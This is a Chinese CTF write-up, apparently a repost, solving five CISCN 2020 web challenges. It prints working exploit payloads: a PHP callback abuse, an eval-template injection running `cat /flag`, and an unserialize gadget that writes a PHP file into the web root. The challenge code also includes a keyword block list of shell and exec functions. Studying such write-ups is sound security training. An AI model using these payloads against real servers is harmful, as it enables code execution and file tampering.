1. 程式人生 > 實用技巧 >CISCN 2020 Web WriteUp

CISCN 2020 Web WriteUp

前言

今天剛打了CISCN2020,簡單的WEB題都沒有AK... 太菜了

題解

easyphp

通過題目描述猜測本題的考點應該是要讓子執行緒非正常退出,執行phpinfo()得到flag。

根據程式碼:

<?php

  //題目環境:php:7.4.8-apache

  $pid = pcntl_fork();

  if ($pid == -1) {

    die('could not fork');

  }else if ($pid){

    $r=pcntl_wait($status);

    if(!pcntl_wifexited($status)){

      phpinfo();

    }

  }else{

    highlight_file(__FILE__);

    if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){

      call_user_func_array($_GET['a'],[$_GET['b'],false,true]);

    }

    posix_kill(posix_getpid(), SIGUSR1);

  }

查詢手冊得到:

pcntl_wait函式颳起當前程序的執行直到一個子程序退出或接收到一個訊號要求中斷當前程序或呼叫一個訊號處理函式。 如果一個子程序在呼叫此函式時已經退出(俗稱殭屍程序),此函式立刻返回。子程序使用的所有系統資源將 被釋放。

故我們嘗試使用回撥函式呼叫pcntl_wait函式,讓子執行緒異常退出。

TureFalse在充當int型別引數時會轉成1和0。

EXP:

/?a=call_user_func&b=pcntl_wait

littlegame

通過掃描工具得到原始碼www.zip,下載下來讀取後發現此題很多都是假功能,讀取flag處與其他功能在正常邏輯下是毫無辦法獲取到的。

發現setFn(req.session.knight, key, value);這串程式碼可以給session賦值。

此函式是由require('set-value');該庫匯入。

通過在package.json得知此庫的版本為3.0.0。通過搜尋引擎查閱得知,這裡存在原型鏈汙染漏洞。https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

汙染原型:

獲取FLAG:

rceme

開啟題目得到原始碼:

<?php
 error_reporting(0);
 highlight_file(__FILE__);
 parserIfLabel($_GET['a']);
 function danger_key($s) {
   $s=htmlspecialchars($s);
   $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
   $s = str_ireplace($key,"*",$s);
   $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
   foreach ($danger as $val){
     if(strpos($s,$val) !==false){
       die('很抱歉,執行出錯,發現危險字元【'.$val.'】');
     }
   }
   if(preg_match("/^[a-z]$/i")){
     die('很抱歉,執行出錯,發現危險字元');
   }
   return $s;
 }
 function parserIfLabel( $content ) {
   $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
   if ( preg_match_all( $pattern, $content, $matches ) ) {
     $count = count( $matches[ 0 ] );
     for ( $i = 0; $i < $count; $i++ ) {
       $flag = '';
       $out_html = '';
       $ifstr = $matches[ 1 ][ $i ];
       $ifstr=danger_key($ifstr,1);
       if(strpos($ifstr,'=') !== false){
         $arr= splits($ifstr,'=');
         if($arr[0]=='' || $arr[1]==''){
           die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');
         }
         $ifstr = str_replace( '=', '==', $ifstr );
       }
       $ifstr = str_replace( '<>', '!=', $ifstr );
       $ifstr = str_replace( 'or', '||', $ifstr );
       $ifstr = str_replace( 'and', '&&', $ifstr );
       $ifstr = str_replace( 'mod', '%', $ifstr );
       $ifstr = str_replace( 'not', '!', $ifstr );
       if ( preg_match( '/\{|}/', $ifstr)) {
         die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);
       }else{
         @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
       }

       if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
         switch ( $flag ) {
           case 'if':
             if ( isset( $matches2[ 1 ] ) ) {
               $out_html .= $matches2[ 1 ];
             }
             break;
           case 'else':
             if ( isset( $matches2[ 2 ] ) ) {
               $out_html .= $matches2[ 2 ];
             }
             break;
         }
       } elseif ( $flag == 'if' ) {
         $out_html .= $matches[ 2 ][ $i ];
       }
       $pattern2 = '/\{if([0-9]):/';
       if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
         $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
         $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
         $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
         $out_html = $this->parserIfLabel( $out_html );
       }
       $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
     }
   }
   return $content;
 }
 function splits( $s, $str=',' ) {
   if ( empty( $s ) ) return array( '' );
   if ( strpos( $s, $str ) !== false ) {
     return explode( $str, $s );
   } else {
     return array( $s );
   }
 }

關鍵點在:

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

此處應該可進行任意命令執行。

複製下來在本地除錯,很容易就得到了EXP:

/?a={if:true)echo%201;echo%20`cat%20/flag`;if(true}aaa{end%20if}

babyunserialize

這題比賽時也沒做出來,也是賽後看的題解才學會的。

看來對於這種審計題還是自己太菜了,之後得找幾個cms來練練。

jig.php的Jig類存在任意寫兩道,EXP:

<?php
namespace DB;
class Jig {
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    
    protected
        //! Storage location
        $dir = '/var/www/html/',
        //! Current storage format
        $format = self::FORMAT_JSON,
        //! Jig log
        $data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
        //! lazy load/save files
        $lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

easytrick

開啟題目得到原始碼:

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太長了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

這題比賽時沒做出來,賽後看其他師傅的題解才學到,Y1ng師傅tql。

EXP:

$tr->trick1 = NAN;
$tr->trick2 = NAN;

後記

這次比賽題目其實都不算難,但是自己的成績還是不理想,隔壁的大師傅早AK了,orz。

太菜了。